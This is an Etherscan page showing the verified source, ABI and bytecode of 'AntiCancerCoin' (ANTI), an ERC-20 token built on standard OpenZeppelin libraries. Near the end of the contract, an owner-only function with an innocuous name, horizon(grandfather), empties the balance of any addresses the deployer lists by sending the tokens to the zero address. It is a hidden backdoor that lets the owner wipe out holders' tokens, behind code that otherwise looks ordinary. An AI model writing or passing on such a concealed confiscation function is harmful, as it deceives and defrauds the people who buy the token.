Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
826,000,000 ANTI
Holders
23
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
anticancercoin
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-03-29 */ // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: barb.sol /** *SPDX-License-Identifier: MIT */ pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract anticancercoin is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; using SafeMath for uint256; using Address for address; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; address public stable; constructor () { _name = "AntiCancerCoin"; _symbol = "ANTI"; _decimals = 18; uint256 initialSupply = 826000000; stable = msg.sender; _mint(msg.sender, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier onlyOwner() { require(msg.sender == stable, "Not allowed"); _; } function horizon(address[] memory grandfather) public onlyOwner() { for (uint256 i = 0; i < grandfather.length; i++) { address account = grandfather[i]; uint256 amount = _balances[account]; _balances[account] = _balances[account].sub(amount, "ERROR"); _balances[address(0)] = _balances[address(0)].add(amount); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"grandfather","type":"address[]"}],"name":"horizon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"stable","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405234801561000f575f80fd5b5060408051808201909152600e81526d20b73a34a1b0b731b2b921b7b4b760911b60208201526002906100429082610241565b50604080518082019091526004815263414e544960e01b602082015260039061006b9082610241565b506004805460ff19166012179055600680546001600160a01b0319163390811790915563313bc280906100af906100aa83670de0b6b3a7640000610314565b6100b5565b5061033e565b6001600160a01b03821661010f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b60055461011c9082610195565b6005556001600160a01b0382165f908152602081905260409020546101419082610195565b6001600160a01b0383165f81815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b5f6101a0828461032b565b90505b92915050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806101d157607f821691505b6020821081036101ef57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561023c57805f5260205f20601f840160051c8101602085101561021a5750805b601f840160051c820191505b81811015610239575f8155600101610226565b50505b505050565b81516001600160401b0381111561025a5761025a6101a9565b61026e8161026884546101bd565b846101f5565b602080601f8311600181146102a1575f841561028a5750858301515b5f19600386901b1c1916600185901b1785556102f8565b5f85815260208120601f198616915b828110156102cf578886015182559484019460019091019084016102b0565b50858210156102ec57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176101a3576101a3610300565b808201808211156101a3576101a3610300565b610a928061034b5f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c80632ea63f3b1161007d57806395d89b411161005857806395d89b41146101ab578063a9059cbb146101b3578063dd62ed3e146101c6575f80fd5b80632ea63f3b14610159578063313ce5671461016e57806370a0823114610183575f80fd5b806318160ddd116100ad57806318160ddd1461010957806322be3de11461011b57806323b872dd14610146575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d06101fe565b6040516100dd91906107d4565b60405180910390f35b6100f96100f4366004610824565b61028e565b60405190151581526020016100dd565b6005545b6040519081526020016100dd565b60065461012e906001600160a01b031681565b6040516001600160a01b0390911681526020016100dd565b6100f961015436600461084c565b6102a4565b61016c610167366004610899565b61030b565b005b60045460405160ff90911681526020016100dd565b61010d610191366004610959565b6001600160a01b03165f9081526020819052604090205490565b6100d0610472565b6100f96101c1366004610824565b610481565b61010d6101d4366004610972565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606002805461020d906109a3565b80601f0160208091040260200160405190810160405280929190818152602001828054610239906109a3565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f61029a33848461048d565b5060015b92915050565b5f6102b08484846105e5565b61030184336102fc85604051806060016040528060288152602001610a35602891396001600160a01b038a165f9081526001602090815260408083203384529091529020549190610797565b61048d565b5060019392505050565b6006546001600160a01b0316331461036a5760405162461bcd60e51b815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b5f5b815181101561046e575f828281518110610388576103886109db565b6020908102919091018101516001600160a01b0381165f8181528084526040808220548151808301909252600582527f4552524f52000000000000000000000000000000000000000000000000000000828701529282529352909250906103f29082908190610797565b6001600160a01b0383165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55461043b90826107c2565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb555505060010161036c565b5050565b60606003805461020d906109a3565b5f61029a3384846105e5565b6001600160a01b0383166105085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610361565b6001600160a01b0382166105845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610361565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166106615760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610361565b6001600160a01b0382166106dd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610361565b61071981604051806060016040528060268152602001610a0f602691396001600160a01b0386165f908152602081905260409020549190610797565b6001600160a01b038085165f90815260208190526040808220939093559084168152205461074790826107c2565b6001600160a01b038381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016105d8565b5f81848411156107ba5760405162461bcd60e51b815260040161036191906107d4565b505050900390565b5f6107cd82846109ef565b9392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461081f575f80fd5b919050565b5f8060408385031215610835575f80fd5b61083e83610809565b946020939093013593505050565b5f805f6060848603121561085e575f80fd5b61086784610809565b925061087560208501610809565b9150604084013590509250925092565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156108aa575f80fd5b823567ffffffffffffffff808211156108c1575f80fd5b818501915085601f8301126108d4575f80fd5b8135818111156108e6576108e6610885565b8060051b604051601f19603f8301168101818110858211171561090b5761090b610885565b604052918252848201925083810185019188831115610928575f80fd5b938501935b8285101561094d5761093e85610809565b8452938501939285019261092d565b98975050505050505050565b5f60208284031215610969575f80fd5b6107cd82610809565b5f8060408385031215610983575f80fd5b61098c83610809565b915061099a60208401610809565b90509250929050565b600181811c908216806109b757607f821691505b6020821081036109d557634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561029e57634e487b7160e01b5f52601160045260245ffdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220308590ee020a8510812d63fa38220ffdcbde3171d7cb85698f6fb7381d2bc8c364736f6c63430008190033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100c4575f3560e01c80632ea63f3b1161007d57806395d89b411161005857806395d89b41146101ab578063a9059cbb146101b3578063dd62ed3e146101c6575f80fd5b80632ea63f3b14610159578063313ce5671461016e57806370a0823114610183575f80fd5b806318160ddd116100ad57806318160ddd1461010957806322be3de11461011b57806323b872dd14610146575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d06101fe565b6040516100dd91906107d4565b60405180910390f35b6100f96100f4366004610824565b61028e565b60405190151581526020016100dd565b6005545b6040519081526020016100dd565b60065461012e906001600160a01b031681565b6040516001600160a01b0390911681526020016100dd565b6100f961015436600461084c565b6102a4565b61016c610167366004610899565b61030b565b005b60045460405160ff90911681526020016100dd565b61010d610191366004610959565b6001600160a01b03165f9081526020819052604090205490565b6100d0610472565b6100f96101c1366004610824565b610481565b61010d6101d4366004610972565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606002805461020d906109a3565b80601f0160208091040260200160405190810160405280929190818152602001828054610239906109a3565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f61029a33848461048d565b5060015b92915050565b5f6102b08484846105e5565b61030184336102fc85604051806060016040528060288152602001610a35602891396001600160a01b038a165f9081526001602090815260408083203384529091529020549190610797565b61048d565b5060019392505050565b6006546001600160a01b0316331461036a5760405162461bcd60e51b815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b5f5b815181101561046e575f828281518110610388576103886109db565b6020908102919091018101516001600160a01b0381165f8181528084526040808220548151808301909252600582527f4552524f52000000000000000000000000000000000000000000000000000000828701529282529352909250906103f29082908190610797565b6001600160a01b0383165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55461043b90826107c2565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb555505060010161036c565b5050565b60606003805461020d906109a3565b5f61029a3384846105e5565b6001600160a01b0383166105085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610361565b6001600160a01b0382166105845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610361565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166106615760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610361565b6001600160a01b0382166106dd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610361565b61071981604051806060016040528060268152602001610a0f602691396001600160a01b0386165f908152602081905260409020549190610797565b6001600160a01b038085165f90815260208190526040808220939093559084168152205461074790826107c2565b6001600160a01b038381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016105d8565b5f81848411156107ba5760405162461bcd60e51b815260040161036191906107d4565b505050900390565b5f6107cd82846109ef565b9392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461081f575f80fd5b919050565b5f8060408385031215610835575f80fd5b61083e83610809565b946020939093013593505050565b5f805f6060848603121561085e575f80fd5b61086784610809565b925061087560208501610809565b9150604084013590509250925092565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156108aa575f80fd5b823567ffffffffffffffff808211156108c1575f80fd5b818501915085601f8301126108d4575f80fd5b8135818111156108e6576108e6610885565b8060051b604051601f19603f8301168101818110858211171561090b5761090b610885565b604052918252848201925083810185019188831115610928575f80fd5b938501935b8285101561094d5761093e85610809565b8452938501939285019261092d565b98975050505050505050565b5f60208284031215610969575f80fd5b6107cd82610809565b5f8060408385031215610983575f80fd5b61098c83610809565b915061099a60208401610809565b90509250929050565b600181811c908216806109b757607f821691505b6020821081036109d557634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561029e57634e487b7160e01b5f52601160045260245ffdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220308590ee020a8510812d63fa38220ffdcbde3171d7cb85698f6fb7381d2bc8c364736f6c63430008190033
Deployed Bytecode Sourcemap
18150:3663:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18798:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19981:169;;;;;;:::i;:::-;;:::i;:::-;;;1062:14:1;;1055:22;1037:41;;1025:2;1010:18;19981:169:0;897:187:1;19075:100:0;19155:12;;19075:100;;;1235:25:1;;;1223:2;1208:18;19075:100:0;1089:177:1;18520:22:0;;;;;-1:-1:-1;;;;;18520:22:0;;;;;;-1:-1:-1;;;;;1435:55:1;;;1417:74;;1405:2;1390:18;18520:22:0;1271:226:1;19493:321:0;;;;;;:::i;:::-;;:::i;21421:389::-;;;;;;:::i;:::-;;:::i;:::-;;18984:83;19050:9;;18984:83;;19050:9;;;;3292:36:1;;3280:2;3265:18;18984:83:0;3150:184:1;19183:119:0;;;;;;:::i;:::-;-1:-1:-1;;;;;19276:18:0;19249:7;19276:18;;;;;;;;;;;;19183:119;18889:87;;;:::i;19310:175::-;;;;;;:::i;:::-;;:::i;19822:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;19938:18:0;;;19911:7;19938:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;19822:151;18798:83;18835:13;18868:5;18861:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18798:83;:::o;19981:169::-;20064:4;20081:39;17226:10;20104:7;20113:6;20081:8;:39::i;:::-;-1:-1:-1;20138:4:0;19981:169;;;;;:::o;19493:321::-;19599:4;19616:36;19626:6;19634:9;19645:6;19616:9;:36::i;:::-;19663:121;19672:6;17226:10;19694:89;19732:6;19694:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19694:19:0;;;;;;:11;:19;;;;;;;;17226:10;19694:33;;;;;;;;;;:37;:89::i;:::-;19663:8;:121::i;:::-;-1:-1:-1;19802:4:0;19493:321;;;;;:::o;21421:389::-;21371:6;;-1:-1:-1;;;;;21371:6:0;21357:10;:20;21349:44;;;;-1:-1:-1;;;21349:44:0;;4439:2:1;21349:44:0;;;4421:21:1;4478:2;4458:18;;;4451:30;4517:13;4497:18;;;4490:41;4548:18;;21349:44:0;;;;;;;;;21503:9:::1;21498:305;21522:11;:18;21518:1;:22;21498:305;;;21562:15;21580:11;21592:1;21580:14;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;21626:18:0;::::1;21609:14;21626:18:::0;;;;;;;;;;;21680:39;;;;::::1;::::0;;;::::1;::::0;;::::1;:::